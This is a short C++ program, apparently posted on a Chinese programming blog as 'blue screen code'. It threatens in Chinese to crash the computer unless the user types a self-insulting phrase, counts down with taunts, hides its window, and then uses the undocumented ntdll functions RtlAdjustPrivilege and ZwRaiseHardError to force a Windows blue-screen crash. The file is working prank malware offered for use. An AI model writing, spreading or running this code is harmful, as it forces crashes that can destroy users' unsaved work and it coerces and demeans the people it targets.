#include <windows.h>
#include<bits/stdc++.h>
using namespace std;
int main() {
string s;
while (1) {
puts("电脑即将蓝屏,输入I am SB停止蓝屏");
getline(cin, s);
getline(cin, s);
if (s == "I am SB") {
return 0;
} else {
puts("输入错误");
cout << "想搞事!?我陪你!" << endl;
Sleep(100);
cout << "给你几秒反思和退出,别怪我心狠手辣!" << endl;
cout << "5" << endl;
Sleep(2000);
cout << "4" << endl;
Sleep(2000);
cout << "3" << endl;
Sleep(2000);
cout << "2" << endl;
Sleep(2000);
cout << "1(快点退出)!!!!!!!!!" << endl;
Sleep(2000);
cout << "0" << endl;
cout << "快点退出!!!!!!!!!,别管为什么!!!" << endl;
Sleep(5000);
ShowWindow(GetForegroundWindow(), SW_HIDE);
HMODULE ntdll = LoadLibrary("ntdll.dll");
FARPROC RtlAdjustPrivilege = GetProcAddress(ntdll, "RtlAdjustPrivilege");
FARPROC ZwRaiseHardError = GetProcAddress(ntdll, "ZwRaiseHardError");
unsigned char ErrorKill;
long unsigned int HardError;
((void(*)(DWORD, DWORD, bool, LPBYTE))RtlAdjustPrivilege)(0x13, true, false, &ErrorKill);
((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))ZwRaiseHardError)(0xc0114514, 0, 0, 0, 6, &HardError);
}
}
return 0;
}
蓝屏代码.c++
最新推荐文章于 2024-08-15 22:02:21 发布